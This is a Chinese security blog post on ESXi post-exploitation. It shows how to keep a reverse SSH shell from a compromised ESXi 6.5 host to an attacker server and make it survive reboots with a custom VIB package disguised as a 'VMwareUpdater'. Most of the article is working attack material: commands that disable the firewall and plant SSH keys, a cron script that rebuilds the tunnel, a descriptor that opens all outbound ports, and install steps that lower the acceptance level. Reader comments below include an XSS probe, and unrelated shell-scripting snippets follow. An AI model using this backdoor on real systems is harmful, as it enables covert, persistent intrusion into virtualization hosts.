后渗透:ESXi反弹Shell

前言

本文将演示使用openssh在ESXi(6.5)上实现反弹Shell,并利用VIB(vSphere Installation Bundle)实现Persistent(开机自启动,重启不丢失配置)。

关于VMware ESXi
VMware ESXi 是一款行业领先、专门构建的裸机 hypervisor。ESXi 直接安装在物理服务器上,并将其划分为多个逻辑服务器,即虚拟机。

1.网络拓扑

说明:
1.绿色线条表示:ESXi服务器上建立到Attacker Server的反向连接
2.蓝色线条表示:Attacker通过反向转发的端口远程内网ESXi服务器

2.具体配置

2.1 Attacker Server配置:(假设IP为:8.8.8.8)

vi /etc/ssh/sshd_config
GatewayPorts yes
解释:监听地址为:0.0.0.0,默认是127.0.0.1
vi ~/.ssh/authorized_keys
AttackerServer私钥(见2.2

2.2 在Attacker PC上生成密钥,使用密钥连接Attacker Server和内网ESXi

For ESXi服务器
ssh-keygen -t rsa -b 4096 -f ESXi -C "it@vmware.com"
chmod 600 ESXi

For Attacker Server
ssh-keygen -t rsa -b 4096 -f AttackerServer -C "attacker@vmware.com"
chmod 600 AttackerServer

2.3 ESXi服务器配置:

2.3.1 确认系统版本
esxcli system version get

2.3.2 查看防火墙状态
esxcli network firewall get
esxcli network firewall ruleset rule list

2.3.3 防火墙允许sshServer和sshClient
vim-cmd hostsvc/firewall_enable_ruleset sshServer
vim-cmd hostsvc/firewall_enable_ruleset sshClient
esxcli network firewall ruleset set -a t -r sshServer

2.3.4 临时禁用防火墙 esxcli network firewall set -e=off
# sshServer和sshClient默认端口都是22,Attacker Server的ssh服务端端口为60000,所以需要执行这条命令!

2.3.5 添加公钥,允许通过公钥登录
vi /etc/ssh/keys-root/authorized_keys
# 复制ESXi.pub的内容到这里

2.3.6 添加AttackerServer 服务器的私钥,自动登录AttackerServer 服务器
ssh root@8.8.8.8
# 生成/.ssh/目录
vi /.ssh/id_rsa
# 复制私钥文件:AttackerServer的内容到这里
chmod 0600 /.ssh/id_rsa

3.反弹Shell

3.1 在ESXi上执行以下命令,反弹Shell:

ssh -N -f -R 50000:localhost:22 root@8.8.8.8

3.2 在Attacker PC上执行以下命令,连接内网ESXi:

ssh -p 50000 root@8.8.8.8 -i ESXi

如下图,

4.Persistent(开机自启动)配置

ESXi系统重启后配置丢失问题:

解释:vmkernel使用的是内存文件系统,配置、日志、补丁都保存在内存中。而开机引导使用的images则保存在/bootbank和 /altbootbank目录下。这也是为什么esxi 系统不需要在主机上安装,也可以直接引导起来的原因,它会把远程的镜像直接安装到内存中。

Only files added by VIB installation persist a reboot of ESXi. All files manually added to visorfs do not persist an ESXi host reboot.

4.1 关于VIB(vSphere Installation Bundle)

ESXi系统的软件包以VIB方式发行,类比RedHat系的RPM和Debian系DEB

VIB – A VIB is an ESXi software package. VMware and its partners package solutions,drivers,CIM providers,and applications that extend the ESXi platform as VIBs. VIBs are available in software depots. You can use VIBs to create and customize ISO images or to upgrade ESXi hosts by installing VIBs asynchronously onto the hosts.

4.2 定制VIB

4.2.1 需要用到的系统及软件

# SUSE Linux Enterprise Server 11 with SP2 DVD 1
下载地址:http://download.novell.com/SummaryFree.jsp?buildid=h0AOp5AT-18~
# VIB Author RPM包
下载地址:https://labs.vmware.com/flings/vib-author

4.2.2 建立如下目录结构,

4.2.3 关键文件
1.descriptor.xml

<vib version="5.0">
<type>bootbank</type>
<name>VMwareUpdater</name>
<version>5.0.0-6.5.0</version>
 <vendor>VMwareUpdater</vendor>
 <summary>VMware updater</summary>
 <description>Adds outbound ports required by the VMware from update feature</description>
 <relationships>
  <depends></depends>
  <conflicts/>
  <replaces/>
  <provides/>
  <compatibleWith/>
 </relationships>
 <software-tags>
 </software-tags>
 <system-requires>
  <maintenance-mode>false</maintenance-mode>
 </system-requires>
 <file-list>
  <file></file>
 </file-list>
 <acceptance-level>community</acceptance-level>
 <live-install-allowed>true</live-install-allowed>
 <live-remove-allowed>true</live-remove-allowed>
 <cimom-restart>false</cimom-restart>
 <stateless-ready>true</stateless-ready>
 <overlay>false</overlay>
 <payloads>
  <payload name="payload1" type="vgz"></payload>
 </payloads>
</vib>

2.auto-update.sh

#!/bin/sh
export PATH=/bin:/sbin
SIP=8.8.8.8
TIP=`ps -c | grep "attacker@8.8.8.8" | grep -v grep | cut -d"@" -f2`
if [ "$SIP" = "$TIP" ] ; then
    exit 0
else
    ssh -i /etc/ssh/id_rsa -p 60000 -N -f -R 50000:localhost:22 -o ServerAliveInterval=60 -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no attacker@8.8.8.8 
fi

3. 999.vmware_update.sh

#!/bin/sh
export PATH=/bin:/sbin
vim-cmd hostsvc/firewall_enable_ruleset sshServer
vim-cmd hostsvc/firewall_enable_ruleset sshClient
esxcli network firewall ruleset set -a t -r sshServer

echo "ESXi.pub文件内容" >> /etc/ssh/keys-root/authorized_keys

chmod 1600 /etc/ssh/keys-root/authorized_keys

/bin/kill $(cat /var/run/crond.pid)
/bin/echo "*/10 * * * * /etc/auto-update.sh" >> /var/spool/cron/crontabs/root 
/usr/lib/vmware/busybox/bin/busybox crond

4.stage/payloads/payload1/etc/ssh/id_rsa

私钥AttackerServer的内容

5.vmware_auto_update.xml

<ConfigRoot>
<service id='0100'>
 <id>VMwareUpdater</id>
  <rule id='0000'>
   <direction>outbound</direction>
   <protocol>tcp</protocol>
   <porttype>dst</porttype>
    <port>
     <begin>0</begin>
     <end>65535</end>
    </port>
  </rule>
 <enabled>true</enabled>
 <required>false</required>
</service>
</ConfigRoot>

4.2.4 生成最终的具备反弹Shell功能的VIB包

# 生成并复制VMwareUpdater.vib到ESXi主机
vibauthor -C -t stage -v VMwareUpdater -f
scp VMwareUpdater.vib root@remote:/tmp/VMwareUpdater.vib

4.3 安装VIB包,反弹Shell

# 临时关闭防火墙(必须!)
esxcli network firewall set -e=off
# 设置级别为CommunitySupported
esxcli software acceptance set --level=CommunitySupported
# 安装VIB包
esxcli software vib install -v /tmp/VMwareUpdater.vib -f
# 开启防火墙
esxcli network firewall set -e=on

5.测试

1.等待10分钟(时间配置:/var/spool/cron/crontabs/root ),反弹Shell连接成功。
2.重启ESXi,等待10复制,反弹Shell连接成功。

为方便大家测试,文件已打包上传至GitHub
https://www.github.com/zer0d0y/post-exploitation/ESXi

6.参考资料

5.1 How to create persistent firewall rules on ESXi
https://www.altaro.com/vmware/how-to-create-persistent-firewall-rules-on-esxi/

5.2 How to install VIB on VMware ESXi
https://www.vladan.fr/how-to-install-vib-on-vmware-esxi/

5.3 how to create a cron job in esxi 5.5 to reclaim space in a thin provisioned storage
https://communities.vmware.com/thread/545078

5.4 SSH Tunnel – Local and Remote Port Forwarding Explained With Examples
https://blog.trackets.com/2014/05/17/ssh-tunnel-local-and-remote-port-forwarding-explained-with-examples.html

本文由安全客原创发布
如若转载,请注明出处: https://www.anquanke.com/post/id/93672
安全客 - 有思想的安全新媒体

9条评论

昵称

换一个

您当前还没有登录。 点击登录

还差 5个字即可发布评论
连浩勤Kobe-JR-hacker2018-01-08 11:35:12

scriptalert(1)script

连浩勤Kobe-JR-hacker2018-01-08 11:33:31

居然没有限制。。。。。。。。

陈大猫连浩勤Kobe-JR-hacker2018-01-08 11:54:54

我感觉挺好玩的所以故意没修-。-

连浩勤Kobe-JR-hacker2018-01-08 11:33:02

33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333

越南邻国宰相2018-01-08 10:49:59

战马关公身上纹,掌声送给社会人

吃瓜群众2018-01-05 21:52:16

围观。。。

我不是黑客2018-01-05 20:45:17

社会人的shell

你全家都是黑客2018-01-05 18:44:50

信不信我dir溢出你电脑? dirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdirdir

你全家都是黑客2018-01-05 18:44:14

nb.666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


用的openwrt路由器,家里宽带申请了动态公网ip,为了方便把2280端口映射到公网,发现经常被暴力破解,自己写了个临时封禁ip功能的脚本,实现5分钟内同一个ip登录密码错误10次就封禁这个ip5分钟,并且进行邮件通知使用步骤openwrt为19.07.03版本,其他版本没有测试过安装bashmsmtpopkg
#!/bin/bashcommand1&command2&wait从Shell脚本并行运行多个程序–杨河老李(kviccn.github.io)
1.先查出MAMP下面集成的PHP版本cd/Applications/MAMP/bin/phpls-ls 2.编辑修改.bash_profile文件(没有.bash_profile文件的情况下回自动创建)sudovim~/.bash_profile在文件的最后输入以下信息,然后保存退出exportPATH="/Applications/MAMP/bin/php/php7.2.20/b
1、先输入locale-a,查看一下现在已安装的语言2、若不存在如zh_CN之类的语言包,进行中文语言包装:apt-getinstalllanguage-pack-zh-hans3、安装好后我们可以进行临时修改:然后添加中文支持: locale-genzh_CN.UTF-8临时修改> export LC_ALL='zh_CN.utf8'> locale永久
BashPerlTclsyntaxdiff1.进制数表示Languagebinaryoctalhexadecimalbash2#[0~1]0[0~7]0x[0~f]or0X[0~f]perl0b[0~1]0[0~7]0x[0~f]tcl0b[0~1]0o[0~7]0x[0~f]bashdifferentbaserepresntationreference2.StringlengthLanguageStr
正常安装了k8s后,使用kubect工具后接的命令不能直接tab补全命令补全方法:yum-yinstallbash-completionsource/usr/share/bash-completion/bash_completionsource<(kubectlcompletionbash)echo"source<(kubectlcompletionbash)">>~/.bashrc 
参考这里启动jar包shell脚本修改过来的#!/bin/bash#默认应用名称defaultAppName='./gadmin'appName=''if[[$1&&$1!=0]]thenappName=$1elseappName=$defaultAppNamefiecho">>>>>>本次重启的应用:$appName<
#一个数字的行#!/bin/bashwhilereadlinedon=`echo$line|sed's/[^0-9]//g'|wc-L`if[$n-eq1]thenecho$linefidone<1.txt#日志切割归档#!/bin/bashcd/data/logslog=1.logmv_log(){[-f$1]&&mv$1$2
#文件增加内容#!/bin/bashn=0cat1.txt|whilereadlinedon=[$n+1]if[$n-eq5]thenecho$lineecho-e"#Thisisatestfile.\n#Testinsertlineintothisfile."elseecho$linefidone#备份/etc目录#
# su - oraclesu: /usr/bin/ksh: No such file or directory根据报错信息:显示无法找到文件 /usr/bin/ksh果然没有该文件,但是发现存在文件/bin/ksh,于是创建了一个软连接,可以规避问题,可以成功切换到用户下,但无法执行系统自带命令。$. .bash_profile-ksh: .: .b
history显示历史指令记录内容,下达历史纪录中的指令主要的使用方法如果你想禁用history,可以将HISTSIZE设置为0:#exportHISTSIZE=0使用HISTIGNORE忽略历史中的特定命令下面的例子,将忽略pwd、ls、ls-ltr等命令:#exportHISTIGNORE=”pwd:ls:ls-ltr:”使用HIS
一.命令历史  1.history环境变量:    HISTSIZE:输出的命令历史条数,如history的记录数    HISTFILESIZE:~/.bash_history保存的命令历史记录数    HISTFILLE:历史记录的文件路径    HISTCONTROL:     ignorespace:忽略以空格开头的命令
之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在自己的机器上开启监听,然后在被攻击者的机器上发送连接请求去连接我们的机器,将被攻击者的she
BashOne-LinersExplained,PartI:Workingwithfileshttps://catonmat.net/bash-one-liners-explained-part-oneBashOne-LinersExplained,PartII:Workingwithstringshttps://catonmat.net/bash-one-liners-explained-part-twoBashOne-LinersExplained,PartII
Shell中变量的作用域:在当前Shell会话中使用,全局变量。在函数内部使用,局部变量。可以在其他Shell会话中使用,环境变量。局部变量:默认情况下函数内的变量也是全局变量#!/bin/bashfunctionfunc(){a=99}funcecho$a输出>>99为了让全局变量变成局部变量
1、多命令顺序执行;  命令1;命令2  多个命令顺序执行,命令之间没有任何逻辑联系&&  命令1&&命令2  逻辑与,当命令1正确执行,才会执行命令2||  命令1||命令2  逻辑或,当命令1执行不正确,才会执行命令2例如:ls;date;cd/home/lsx;pwd;who ddif=输入文件of=输
原博文使用Linux或者unix系统的同学可能都对#!这个符号并不陌生,但是你真的了解它吗?首先,这个符号(#!)的名称,叫做"Shebang"或者"Sha-bang"。Linux执行文件时发现这个格式,会把!后的内容提取出来拼接在脚本文件或路径之前,当作实际执行的命令。 Shebang这个符号通常在Unix系统的脚本
1、历史命令history[选项][历史命令保存文件]选项:-c:  清空历史命令-w:  把缓存中的历史命令写入历史命令保存文件 ~/.bash_historyvim/etc/profile中的Histsize可改存储历史命令数量历史命令的调用使用上、下箭头调用以前的历史命令使用“!n”重复执行第n条历史
目录1.Shell脚本规范2.Shell脚本执行3.Shell脚本变量3.1环境变量3.1.1自定义环境变量3.1.2显示与取消环境变量3.1.3环境变量初始化与对应文件的生效顺序3.2普通变量3.2.1定义本地变量3.2.2shell调用变量3.2.3grep调用变量3.2.4awk调用变量3.3
   http://www.voidcn.com/blog/wszzdanm/article/p-6145895.html命令功能:显示登录用户的信息命令格式:常用选项:举例:w显示已经登录的用户及正在进行的操作[root@localhost~]#w 11:22:01up4days,21:22, 3users, loadaverage:0.00,0.00,0.00USER